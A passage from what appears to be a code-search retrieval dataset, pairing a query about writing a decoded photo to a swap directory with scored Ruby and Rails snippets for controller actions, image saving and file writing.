"text": "def index\n respond_to do |format|\n format.html { redirect_to forum_path(params[:forum_id]) }\n format.xml do\n @topics = Topic.find_all_by_forum_id(params[:forum_id], :order => 'sticky desc, replied_at desc', :limit => 25)\n render :xml => @topics.to_xml\n end\n end\n end",
"title": ""
},
{
"docid": "59dbe605b3a8813fdf02f42c684c54fb",
"score": "0.52622175",
"text": "def new\n @topic = Topic.new\n @super_categories = Topic.ordered_roots\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "e5688c53535863db84a38c3bcf80c41a",
"score": "0.52575326",
"text": "def index\n @topics = Topic.where(:appear => 1).order(\"updated_at DESC, id DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "728d9196d7efc6b4b8a4b999673f459a",
"score": "0.52574384",
"text": "def get_topic(topic_id, oauth = true)\n\t\t\toptions = {\"id\" => topic_id}\n\t\t\tif oauth\n\t\t\t\toptions.merge!(key: Goodreads.configuration[:api_key])\n\t\t\t\tdata = oauth_request(\"/topic/show.xml\", options)\n\t\t\telse\n\t\t\t\tdata = request(\"/topic/show.xml\", options)\n\t\t\tend\n\t\t\tHashie::Mash.new(data)\n\t\tend",
"title": ""
},
{
"docid": "ddc4eb0129cb022fb2f989198a5a6261",
"score": "0.52571213",
"text": "def show\n @search_topic = SearchTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @search_topic }\n end\n end",
"title": ""
},
{
"docid": "84e8e66db75000d1b8d902a95d7ea889",
"score": "0.52350557",
"text": "def show\n @user_attribute = UserAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_attribute }\n end\n end",
"title": ""
},
{
"docid": "b47360316d067600e39100aaabeb8ac0",
"score": "0.52294195",
"text": "def list\n @topic = get_topic(params)\n @topic_list = get_topic_list(@topic)\n respond_to do |format|\n format.html\n format.xml { render xml: @topic_list.to_xml }\n format.json { render json: @topic_list.to_json }\n end\n end",
"title": ""
},
{
"docid": "f9d8150a84930de048f758f286c8f530",
"score": "0.52263594",
"text": "def show\n @data_topic = DataTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_topic }\n end\n end",
"title": ""
},
{
"docid": "b16deac9a6040e0778a37e9869d5b14e",
"score": "0.5213721",
"text": "def get_topic id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get TOPICS, id )\n\t\t\t\tend",
"title": ""
},
{
"docid": "df545e7c0dd7f6162b602ea355f92c98",
"score": "0.5211296",
"text": "def index\n @topics = Topic.paginate :per_page => 10, :page => params[:page], :order => \"updated_at DESC\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "659806db1df4542b6c3bf5027ef5f781",
"score": "0.52056205",
"text": "def index\n @api_v1_topics = Api::V1::Topic.all\n end",
"title": ""
},
{
"docid": "b43d27c182157fba492ef3a0c9843dfe",
"score": "0.5194627",
"text": "def show\n @attri = Attri.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attri }\n end\n end",
"title": ""
},
{
"docid": "3d3aae889b94cff061883e7a5f935984",
"score": "0.5189221",
"text": "def show\n @forum = Forum.find(params[:forum_id])\n @messages = @topic.messages.accessible_by(current_ability).page params[:page]\n @feed_link = forum_topic_url(@forum, @topic, :format => :atom)\n\n if current_user\n @topic.mark_as_read! :for => current_user\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n format.atom { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "5dad4b7e2b84859c5d9ff45b919c58a5",
"score": "0.5183821",
"text": "def new\n @text_topic = TextTopic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @text_topic }\n end\n end",
"title": ""
},
{
"docid": "6e86f825313628f160579ca092d56b18",
"score": "0.51773334",
"text": "def get_bookmarked_topics(org_unit_id) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/bookmarks\"\n _get(query_string)\n # Returns: a JSON array of Topic ToC entries.\nend",
"title": ""
},
{
"docid": "84b6c5a4670efddec1e7155fac7f4127",
"score": "0.5166372",
"text": "def index\n @attr_types = AttrType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attr_types }\n end\n end",
"title": ""
},
{
"docid": "a0fc8950d4f47724f89e3e622e565cd2",
"score": "0.516117",
"text": "def create\n \n begin\n @topic = Topic.new(params[ \"topic\" ]) \n rescue Exception => e \n respond_to do |format|\n format.xml { render :xml => errorRsp( e.message) }\n end\n return\n end\n \n \n logger.info log_hash \"Topic\", @topic.attributes\n \n # noting fatal happened with the 'new'\n respond_to do |format|\n begin \n if @topic.save\n format.xml { render :xml => successRsp }\n else\n format.xml { render :xml => errorRsp( @topic.errors.to_xml ) }\n end\n rescue Exception => e \n format.xml { render :xml => errorRsp( \"xx-\" + e.message ) }\n end\n end\n end",
"title": ""
},
{
"docid": "983085ef706963fbe01ffaaab6b46654",
"score": "0.51607084",
"text": "def index\n @device_attributes = @device.device_attributes.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @device_attributes }\n end\n end",
"title": ""
},
{
"docid": "c09d512d9638b7b3f9e5da75cebea8b2",
"score": "0.51582074",
"text": "def show\n @subject_permission = SubjectPermission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subject_permission }\n end\n end",
"title": ""
},
{
"docid": "858e780eb2d376d999cae05cd707df98",
"score": "0.5157083",
"text": "def show\n @topic = Topic.find(params[:topic_id])\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "dec7bde7eea0e71d74b3489717bee108",
"score": "0.5152781",
"text": "def show\n @subtopic = Subtopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subtopic }\n end\n end",
"title": ""
},
{
"docid": "5b1d3be871f932665bcfdcfbe033485e",
"score": "0.5150333",
"text": "def show\n @topic = Topic.find(params[:id])\n @post = Post.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "4d275fcd4d4e821ea636871205aab8ed",
"score": "0.514784",
"text": "def api_v1_topic_params\n params.fetch(:api_v1_topic, {})\n end",
"title": ""
},
{
"docid": "17b9e13e452e637eda4517c3e0e461cf",
"score": "0.514753",
"text": "def show\n @attraction = Attraction.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @attraction }\n end\n end",
"title": ""
},
{
"docid": "b7868449e17e155b1f2419d7d6e1a0b2",
"score": "0.5138571",
"text": "def show\n @activity = Activity.find(params[:id])\n @actattributes = @activity.actattributes\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"title": ""
},
{
"docid": "022fe86fcf0d9c373a6043dc0b88dbc3",
"score": "0.5136695",
"text": "def index\n @replies = @topic.replies.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"title": ""
},
{
"docid": "15cfa0d874feac84d267091e335d4670",
"score": "0.51361895",
"text": "def show\n @admin_topic = Admin::Topic.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @admin_topic }\n end\n end",
"title": ""
},
{
"docid": "a39ff608641717f682af6998dc9791ea",
"score": "0.51180816",
"text": "def all_topics\n topics = Feed.find(params[:feed_id]).topics\n render :json => topics\n end",
"title": ""
},
{
"docid": "997e13d2aaf4efd106bd6fb90bf5bac9",
"score": "0.51178956",
"text": "def set_topic_attributes(arn, attribute_name, attribute_value)\n request({\n 'Action' => 'SetTopicAttributes',\n 'AttributeName' => attribute_name,\n 'AttributeValue' => attribute_value,\n 'TopicArn' => arn.strip,\n :parser => Fog::Parsers::AWS::SNS::SetTopicAttributes.new\n })\n end",
"title": ""
},
{
"docid": "0e39db23f3a4cf0ff13215190c492560",
"score": "0.51094395",
"text": "def show\n @topic_comment = TopicComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic_comment }\n end\n end",
"title": ""
},
{
"docid": "e6b5f7e527413632844123bcff2d9189",
"score": "0.50988615",
"text": "def show\n @reply = @topic.replies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reply }\n end\n end",
"title": ""
},
{
"docid": "3610fb12d010f6024488a571bc7fb61b",
"score": "0.50972056",
"text": "def show\n @attr_val = AttrVal.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attr_val }\n end\n end",
"title": ""
},
{
"docid": "bf19f799c9756c27117fdf365aed8365",
"score": "0.50970465",
"text": "def get_topic_file(org_unit_id, topic_id, stream = false) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/topics/#{topic_id}/file\"\n query_string += \"?stream=true\" if stream == true\n _get(query_string)\nend",
"title": ""
},
{
"docid": "a5045e11b63aa11a367c61b68e59b91a",
"score": "0.5092795",
"text": "def index\n @topics = Topic.all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "7e77eb31028dea7a3065c69c59e49721",
"score": "0.50915647",
"text": "def index\n @topics = Topic.getCommunityTopic(params)\n respond_with(@topics)\n end",
"title": ""
},
{
"docid": "950fb8b671b17ac05fb0d817540763e2",
"score": "0.50877136",
"text": "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"title": ""
},
{
"docid": "e73ce7e0e6eb5cbf49bfc63e05900b18",
"score": "0.5085052",
"text": "def index\n @topics = @ip.topics\n end",
"title": ""
},
{
"docid": "16c8e2f7ec702098aee5c7b3967fff8d",
"score": "0.50789404",
"text": "def resource_address()\n @topics[0].address\n end",
"title": ""
},
{
"docid": "d006780e03d0834a6025abf2168f749d",
"score": "0.5067546",
"text": "def show\n @media_attribute = MediaAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @media_attribute }\n end\n end",
"title": ""
},
{
"docid": "be51c988bf3e94bf2938bb04b3507349",
"score": "0.50665224",
"text": "def show\n @xml_sample = XmlSample.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"title": ""
},
{
"docid": "f2b77361986e258b35c245b4269e3fd0",
"score": "0.5057625",
"text": "def index\n @topics = Topic.all\n respond_to do |format|\n format.html # index.html.erb\n format.mobile\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "af816a0bf6e78592a9b628e509e8eeac",
"score": "0.5040297",
"text": "def topic_id\n id\n end",
"title": ""
},
{
"docid": "66d15498af9146d2ca0618f0bcd783c8",
"score": "0.50399554",
"text": "def show\n @feat = @person.feats.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"title": ""
},
{
"docid": "2d1eb130a1c2e6bbe0a17ef5e89b818f",
"score": "0.50383425",
"text": "def show\n @trending_topic = TrendingTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trending_topic }\n end\n end",
"title": ""
},
{
"docid": "90c184620c60b602a877daa5519262e1",
"score": "0.50226593",
"text": "def get_attributes\n from_server single_url do |response|\n payload_to_attributes(response.data)\n end\n end",
"title": ""
},
{
"docid": "da81ab8e98d1e3d8bcb8b0ec4984b199",
"score": "0.50198686",
"text": "def show\n render :json => Topic.find(params[:id]) \n end",
"title": ""
}
] |
8b87f050f67c9ad76ff042793551be99
|
Method to write decoded photo to swap directory
|
[
{
"docid": "3ae81fec8d306072a2466a5227505602",
"score": "0.78100127",
"text": "def write_swap_file(filename, decoded_image)\n\n f = File.new \"./public/swap/#{filename}\", \"wb\"\n # f = File.new \"../public/swap/#{filename}\", \"wb\" # inline testing path\n f.write(decoded_image)\n f.close if f\n\nend",
"title": ""
}
] |
[
{
"docid": "3c0480959aa7b4c17d6ba30b7e3223ae",
"score": "0.77819914",
"text": "def write_swap_file(filename, decoded_image)\n\n f = File.new \"./public/swap/#{filename}\", \"wb\"\n f.write(decoded_image)\n f.close if f\n\n end",
"title": ""
},
{
"docid": "8adbf582854c465504b32a74de99f33f",
"score": "0.6780021",
"text": "def write_out\n File.delete(@path) if File.exist?(@path)\n File.open(@path, mode: 'w', encoding: @img_data.encoding) { |f| f.write(@img_data) }\n end",
"title": ""
},
{
"docid": "b57c34f7d254c038b2be58de96e8ed60",
"score": "0.66460437",
"text": "def save_to_file\n f = File.open(\"#{IMAGE_DATA_DIR}/#{self.id}\",\"w\")\n f.write(self.data)\n f.close\n end",
"title": ""
},
{
"docid": "d9b33cf13f1d38985cd5954489acf311",
"score": "0.65646744",
"text": "def save_picture(data)\n File.open('public/images/'+ self.picture,'w') do |f|\n f.write data\n end\n end",
"title": ""
},
{
"docid": "79f064264018f1a0b04ca28cb0ff5ef0",
"score": "0.64621854",
"text": "def save_photo\n if @photo_data\n directory_name = File.join PHOTO_STORE, self.catalogue.id.to_s\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n self.image_url = self.id.to_s + @image_extension\n # Write the data out to a file\n name = File.join directory_name, image_url\n File.open(name, 'wb') do |f|\n f.write(@photo_data.read)\n end\n @photo_data = nil\n self.save\n end\n end",
"title": ""
},
{
"docid": "96a761f99ee386ce4431f04bda22c2e8",
"score": "0.64165395",
"text": "def write_image(filename, decoded_image)\r\n\r\n f = File.new \"./public/images/blog/#{filename}\", \"wb\"\r\n f.write(decoded_image)\r\n f.close if f\r\n\r\n end",
"title": ""
},
{
"docid": "83ce3871614033cfbd8967937a98ea98",
"score": "0.640076",
"text": "def save_picture(data)\n File.open('public/images/areas/'+ self.profile_picture,'w') do |f|\n f.write data\n end\n end",
"title": ""
},
{
"docid": "4c9f9bf369b6a0a376507a3020b32a3b",
"score": "0.62775105",
"text": "def write( path )\n base_image.write( path )\n end",
"title": ""
},
{
"docid": "6ddb27280ab41fca2205801db67cb312",
"score": "0.623569",
"text": "def encode_picture(file,output)\n enc = Base64.encode64(File.open(file,'rb'){|io| io.read})\n File.open(Rails.public_path.to_s + '/images/'+ output,'w') do |f|\n enc.gsub!(\"\\n\",'')\n f.write enc\n end\nend",
"title": ""
},
{
"docid": "88500b9a86eca15f6a769ae2c15db9b2",
"score": "0.6179903",
"text": "def save\n return if File.exists?(file)\n\n # Create parent directories\n FileUtils.mkdir_p(File.dirname(file))\n\n File.open(file, \"w\") do |f|\n f.write(compressed_contents)\n end\n\n puts \"Wrote blob #{file}\"\n end",
"title": ""
},
{
"docid": "1d509af34fb7c948e20fd315de44adaf",
"score": "0.6062739",
"text": "def save_photos(photos)\n count = 0\n photos.each do |p|\n puts \"successfully downloaded cover pic\" + count.to_s\n filename = \"pic\" + count.to_s\n File.open(filename,'wb') do |save_file|\n open(p['src'],'rb') do |read_file|\n save_file.write(read_file.read)\n count += 1\n end\n end\n end\nend",
"title": ""
},
{
"docid": "00fc589ac13266a5a88987fad5a4b5f4",
"score": "0.6045793",
"text": "def write_file(data)\n\toutput_file = data.pack(\"C*\")\n\n\tbegin\n\t\tFile.open(\"stego_out.bmp\", \"w\") {|file| file.write(output_file)}\n\trescue\n\t\traise \"File's cooked\"\n\tend\nend",
"title": ""
},
{
"docid": "274d5db23b2fa970567bf05cf4665858",
"score": "0.6029024",
"text": "def save\n ole = File.open(@file_name, 'w')\n ole << header\n ole << fat\n @storages.each { |s| ole << s.to_s }\n ole << Array.new((512-(ole.pos % 512)), 0).pack('c*')\n ole << mini_fat\n ole << mini_fat_stream\n ole << fat_stream\n ole.close\n end",
"title": ""
},
{
"docid": "1c9dd7aaccd9475b5be9e3afb246470e",
"score": "0.6025131",
"text": "def download_image(image_url)\n\n filename = \"temp.png\"\n data = image_url_to_base64(image_url)\n decoded_image = decode_base64_string(filename, data)\n write_swap_file(filename, decoded_image)\n\nend",
"title": ""
},
{
"docid": "1c9dd7aaccd9475b5be9e3afb246470e",
"score": "0.6025131",
"text": "def download_image(image_url)\n\n filename = \"temp.png\"\n data = image_url_to_base64(image_url)\n decoded_image = decode_base64_string(filename, data)\n write_swap_file(filename, decoded_image)\n\nend",
"title": ""
},
{
"docid": "aea72625b544bb1a781859c3d89fb1db",
"score": "0.5978163",
"text": "def write(path)\n @img_rw.rch = @rch\n @img_rw.gch = @gch\n @img_rw.bch = @bch\n @img_rw.write(path)\n end",
"title": ""
},
{
"docid": "95ebe526c7298f94a69e91195def5e2d",
"score": "0.59608185",
"text": "def store_photo\n if @file_data\n # make the photo_store directory if it doesn't exist already\n FileUtils.mkdir_p PHOTO_STORE\n # write out the image data to the file\n File.open(photo_filename, 'wb') do |f|\n f.write(@file_data.read)\n end\n # avoid repeat-saving\n @file_data = nil\n end\n end",
"title": ""
},
{
"docid": "95ebe526c7298f94a69e91195def5e2d",
"score": "0.59608185",
"text": "def store_photo\n if @file_data\n # make the photo_store directory if it doesn't exist already\n FileUtils.mkdir_p PHOTO_STORE\n # write out the image data to the file\n File.open(photo_filename, 'wb') do |f|\n f.write(@file_data.read)\n end\n # avoid repeat-saving\n @file_data = nil\n end\n end",
"title": ""
},
{
"docid": "7158686e1c77716c39c42381f6dfc492",
"score": "0.593011",
"text": "def store_image\n if @file_data\n FileUtils.mkdir_p Img_Store\n File.open(image_filename, 'wb') do |f|\n f.write (@file_data.read)\n end\n @file_data = nil\n end\n end",
"title": ""
},
{
"docid": "4f3c15bf2401a125785ba84febe63c36",
"score": "0.58782554",
"text": "def write(dir = self.dir, filename = self.filename)\n FileUtils.mkdir_p(File.join(WRITE_DIR, dir))\n self.image.write(File.join(WRITE_DIR, dir, filename))\n end",
"title": ""
},
{
"docid": "b35d96d664b4cbb463367b6115eb42b7",
"score": "0.5868738",
"text": "def write()\n f = File.open(\"#{@directory}/#{@filename}\", \"w\")\n f.write(@raw)\n f.close()\n end",
"title": ""
},
{
"docid": "9dd1eaca4cc9a373b1e5b559171be521",
"score": "0.58600545",
"text": "def saveProfileImage\n profileImageData = params[:picture]\n filepath =\"\"\n unless profileImageData.original_filename.blank?\n filename = Digest::SHA1.hexdigest(Time.now.to_i().to_s())\n filename= \"profile\"+filename+\".png\"\n logger.info(filename);\n filedir = \"public/profile/\"\n filepath = File.join(filedir,filename)\n \n f = File.open(filepath, \"wb\")\n f.write(profileImageData.read)\n f.close\n filepath =\"profile/\"+filename \n end\n respond_to do |format|\n if filepath!=\"\"\n format.html { render action: 'new'}\n format.json { render :text => \"#{filepath}\"}\n else\n format.html { render action: 'new' }\n format.json { render :text => \"-1\" }\n end\n end\n \n end",
"title": ""
},
{
"docid": "f6999960ff8a94e482be2163f65a6a0d",
"score": "0.58453876",
"text": "def save!; File.write @path, @data end",
"title": ""
},
{
"docid": "d61c2d6d782aff07bc74a71d1f8861ec",
"score": "0.5795795",
"text": "def save2file(path)\n File.write(path, save2blob())\n end",
"title": ""
},
{
"docid": "5dcc2d6d2e6695963bf9a9e3b4231069",
"score": "0.5795337",
"text": "def write(output_path)\n FileUtils.copy_file @path, output_path\n run_command \"identify\", output_path # Verify that we have a good image\n end",
"title": ""
},
{
"docid": "93eacaf291a4cc2b4e43489960f50689",
"score": "0.57705134",
"text": "def write(path)\n File.unlink(path) if File.exists?(path)\n Zip::Archive.open(path, Zip::CREATE) { |zipfile|\n zipfile.add_buffer(INDEX_PATH, htmlize(index))\n @book.media.each { |mpath|\n zipfile.add_buffer(mpath, @book.read_media(mpath))\n }\n unless @book.cover == COVER_PATH\n zipfile.add_buffer(COVER_PATH, to_png_data(@book.cover))\n end\n }\n path\n end",
"title": ""
},
{
"docid": "9d740ced620df8f881711dfd9a04507f",
"score": "0.5736017",
"text": "def picture_save \n \tuploader = ImageUploader.new\n \tuploader.store!(image)\n \timage = uploader.store_dir\n \tsave\n end",
"title": ""
},
{
"docid": "b9760debcbd970870cc282fd2bf406b3",
"score": "0.57311445",
"text": "def save_to_file image\n File.open('uml.png', 'wb') do |file|\n file << image.body\n end if image\n end",
"title": ""
},
{
"docid": "a56469bd0a2f23ffcc3f4a3a1eeacb68",
"score": "0.5693799",
"text": "def create\n photo_io = params[:photo][:path]\n if photo_io \n file_ext = File.extname(photo_io.original_filename)\n content = photo_io.read\n new_name = Digest::SHA1.hexdigest(content) + file_ext\n path = Rails.root.join('app','assets','images', new_name).to_path\n File.new(path,'w').syswrite(content)\n end\n @photo = Photo.new do |p|\n photo = params[:photo]\n p.name = photo[:name]\n p.path = new_name if new_name\n p.descrption = photo[:descrption]\n end\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url}\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c30aa69c865b994b96f558799500ed2",
"score": "0.56910694",
"text": "def write_out(path = nil)\n return img unless path\n FileUtils.mkdir_p File.dirname(path)\n img.write(path)\n path\n rescue Errno::ENOENT\n puts_and_exit(\"Path not found '#{path}'\")\n end",
"title": ""
},
{
"docid": "0465112fbeebe169c48a2717d0e38e11",
"score": "0.56614023",
"text": "def write_down! \n File.open(@filename, \"wb\").write(raw)\n end",
"title": ""
},
{
"docid": "c119054600b59ea967ad8dff899fa099",
"score": "0.565298",
"text": "def save_impl(format, file)\n write_new_image format, FileImageOutputStream.new(file)\n end",
"title": ""
},
{
"docid": "10a348bbba136b3f3a3b2d91583cad37",
"score": "0.56407064",
"text": "def save\n pathname.open('w') { |file| file.write(data) }\n end",
"title": ""
},
{
"docid": "e73ac941b36e71b6fae38c3705f063b3",
"score": "0.56364435",
"text": "def write_images\n # Enumerate all the files in the zip and write any that are in the media directory to the output buffer (which is used to generate the new zip file)\n @file.read_files do |entry| # entry is a file entry in the zip\n if entry.name.include? IMAGE_DIR_NAME\n # Check if this is an image being replaced\n current_image = @images.select { |image| !@relationship_manager.get_relationship(image.id).nil? and entry.name.include? @relationship_manager.get_relationship(image.id)[:target] }.first\n\n unless current_image.nil?\n replacement_path = current_image.path\n data = ::File.read(replacement_path)\n else\n entry.get_input_stream { |is| data = is.sysread }\n end\n\n @file.output_stream.put_next_entry(entry.name)\n @file.output_stream.write data\n end\n end\n\n # Create any new images\n @unique_image_paths = []\n @images.select { |image| image.is_new }.each do |new_image|\n next if @unique_image_paths.include? new_image.target # we only want to write each image once\n @unique_image_paths << new_image.target\n @file.output_stream.put_next_entry(\"word/#{new_image.target}\")\n @file.output_stream.write ::File.read(new_image.path)\n end\n end",
"title": ""
},
{
"docid": "ef18fba57607b33f631d8b300a8aba82",
"score": "0.5634018",
"text": "def save\n\n properties = {}\n # exif = {}\n # KCGImagePropertyExifDictionary\n # exif[KCGImagePropertyExifUserComment] = 'Image downloaded from www.sheetmusicplus.com'\n # exif[KCGImagePropertyExifAuxOwnerName] = 'www.sheetmusicplus.com'\n if @filetype == :pdf\n CGPDFContextEndPage(@ctx)\n CGContextFlush(@ctx)\n return\n elsif @filetype == :png\n format = NSPNGFileType\n elsif @filetype == :tif\n format = NSTIFFFileType\n properties[NSImageCompressionMethod] = NSTIFFCompressionLZW\n #properties[NSImageCompressionMethod] = NSTIFFCompressionNone\n elsif @filetype == :gif\n format = NSGIFFileType\n #properties[NSImageDitherTransparency] = 0 # 1 = dithered, 0 = not dithered\n #properties[NSImageRGBColorTable] = nil # For GIF input and output. It consists of a 768 byte NSData object that contains a packed RGB table with each component being 8 bits.\n elsif @filetype == :jpg\n format = NSJPEGFileType\n properties[NSImageCompressionFactor] = @quality # (jpeg compression, 0.0 = max, 1.0 = none)\n #properties[NSImageEXIFData] = exif\n end\n cgimageref = CGBitmapContextCreateImage(@ctx) # => CGImageRef\n bitmaprep = NSBitmapImageRep.alloc.initWithCGImage(cgimageref) # => NSBitmapImageRep\n blob = bitmaprep.representationUsingType(format, properties:properties) # => NSConcreteData\n blob.writeToFile(@output, atomically:true)\n true\n end",
"title": ""
},
{
"docid": "43a1b3d5ee48b2aac90d2acc0db2808c",
"score": "0.56327844",
"text": "def convert_to_file(params_array)\n file_data = split_base64(params_array[:data])\n\n filename = \"/tmp/#{params_array[:filename]}\"\n\n File.open(filename, \"w\") do |tempfile|\n tempfile.binmode\n tempfile << Base64.decode64(file_data[:data])\n tempfile.rewind\n end\n\n File.open(filename)\n end",
"title": ""
},
{
"docid": "82871e01789d168fa6ff430a4ebfbd95",
"score": "0.5606266",
"text": "def save\n path = UPLOADS_DIR.join(archive.original_filename)\n File.open(path, 'w') do |file| \n file.write(archive.read)\n end\n if backend = Instance.backend\n backend.deploy path\n end\n end",
"title": ""
},
{
"docid": "7f64349c7dfacbf8659c3ad0cd04f6d5",
"score": "0.56034505",
"text": "def save\n render unless result\n if File.exist?(output)\n mode = File.stat(output).mode\n File.chmod(mode | 0000220, output)\n File.open(output, 'w'){ |f| f << result }\n File.chmod(mode, output)\n else\n File.open(output, 'w'){ |f| f << result }\n File.chmod(0440, output) # change to read-only mode\n end\n end",
"title": ""
},
{
"docid": "bd6f38d1258fae29f30428b993ade96a",
"score": "0.5598729",
"text": "def write(output_path = nil) \n output_path = @input_path if output_path.nil?\n FileUtils.copy_file @path, output_path\n verify_image(output_path)\n self\n end",
"title": ""
},
{
"docid": "3a6d8844a717a20d5e47e42e7b0b43d7",
"score": "0.5578159",
"text": "def process_photo(db, filename, data)\n\n # PG update-related methods\n update_pg(db, filename) if photo_exists?(db, filename) == false\n\n # S3 update-related methods\n decoded_image = decode_image(filename, data)\n write_swap_file(filename, decoded_image)\n save_file_to_s3_bucket(filename)\n\n end",
"title": ""
},
{
"docid": "5c2767973df48e3102bfd4da85e24b89",
"score": "0.5548433",
"text": "def save! target=\"./Albums\"\n dirname = File.join target, @name\n FileUtils.mkdir_p dirname\n\n self.photos{|p| p.save! dirname}\n end",
"title": ""
},
{
"docid": "e87c67f52fc0152c030bc27406c4bfae",
"score": "0.55392647",
"text": "def save_to(path); end",
"title": ""
},
{
"docid": "e38c02e1d4e5cbab9cbf732b32c2f4a3",
"score": "0.5538735",
"text": "def save(params = {})\n params[:name] ||= @pictureName\n params[:save] ||= @picturePath\n @picture.save(File.join(params[:save], params[:name]))\n end",
"title": ""
},
{
"docid": "9b95397a4aaf7108ffe0a3b545a18d38",
"score": "0.55385196",
"text": "def update_imagem(foto_64)\n foto_64 = \"data:image/jpeg;base64,#{foto_64}\"\n if foto_64 != \"\" && foto_64 != nil\n base_64_encoded_data = foto_64\n string_img = Base64.decode64(base_64_encoded_data['data:image/png;base64,'.length .. -1])\n File.open(\"#{Rails.root}/tmp/motorista2.jpg\", \"wb\") do |file| \n file.write(string_img)\n file.size\n self.imagem = file\n end\n end\n end",
"title": ""
},
{
"docid": "03cc646234bb26836e4ad8f42c80a74c",
"score": "0.55322397",
"text": "def write\n return if PictureTag.site.config['disable_disk_cache']\n\n FileUtils.mkdir_p(File.join(base_directory, sub_directory))\n\n File.open(filename, 'w+') do |f|\n f.write JSON.generate(data)\n end\n end",
"title": ""
},
{
"docid": "09dd0e2d3e82b088eca232ab0b2e97b0",
"score": "0.5529276",
"text": "def write_out_raw\r\n new_filepath = temp_filename(file_name, DIL::Application.config.processing_file_path)\r\n File.open(new_filepath, 'wb') do |f|\r\n f.write raw.content\r\n end\r\n Sidekiq::Logging.logger.debug(\"New filepath:\" + new_filepath)\r\n FileUtils.chmod(0644, new_filepath)\r\n new_filepath\r\n end",
"title": ""
},
{
"docid": "d923339190f2318fc67fd9327ab044ae",
"score": "0.55086946",
"text": "def save(flatten = false)\n tmp_file = SecureRandom.uuid\n save_as(tmp_file, flatten)\n File.rename tmp_file, @file\n end",
"title": ""
},
{
"docid": "c7e0ce1aee3d84bea848a908fc33e50a",
"score": "0.5496125",
"text": "def write(path)\n File.open(path, 'w') {|f| f.write(pack) }\n end",
"title": ""
},
{
"docid": "0fca5d6f15bd1c19ef89c4edff0fdd68",
"score": "0.5494352",
"text": "def save_data(obj, filename) \r\n File.open(File.join(Yrgss.game.getPath.getAbsolutePath,filename), \"wb\") { |f|\r\n Marshal.dump(obj, f)\r\n }\r\nend",
"title": ""
},
{
"docid": "6d9caf49a00aa03b27fa3f59528b2b0b",
"score": "0.5493301",
"text": "def save_impl(format, file)\n ImageIO.write(@src, format, file)\n end",
"title": ""
},
{
"docid": "5ae59d8d176b4d3349806e5a8c0a076f",
"score": "0.54739773",
"text": "def save_to_file(data, destination)\n path = File.join(file_dir, destination)\n File.write(path, data)\nend",
"title": ""
},
{
"docid": "7c58f8e159ee4022e370b467af692dbe",
"score": "0.54685074",
"text": "def save\n ApplicationDatabase.new.save_compressed_to_file(@file.path)\n end",
"title": ""
},
{
"docid": "6936799c8df437e101f0a717add23455",
"score": "0.54652697",
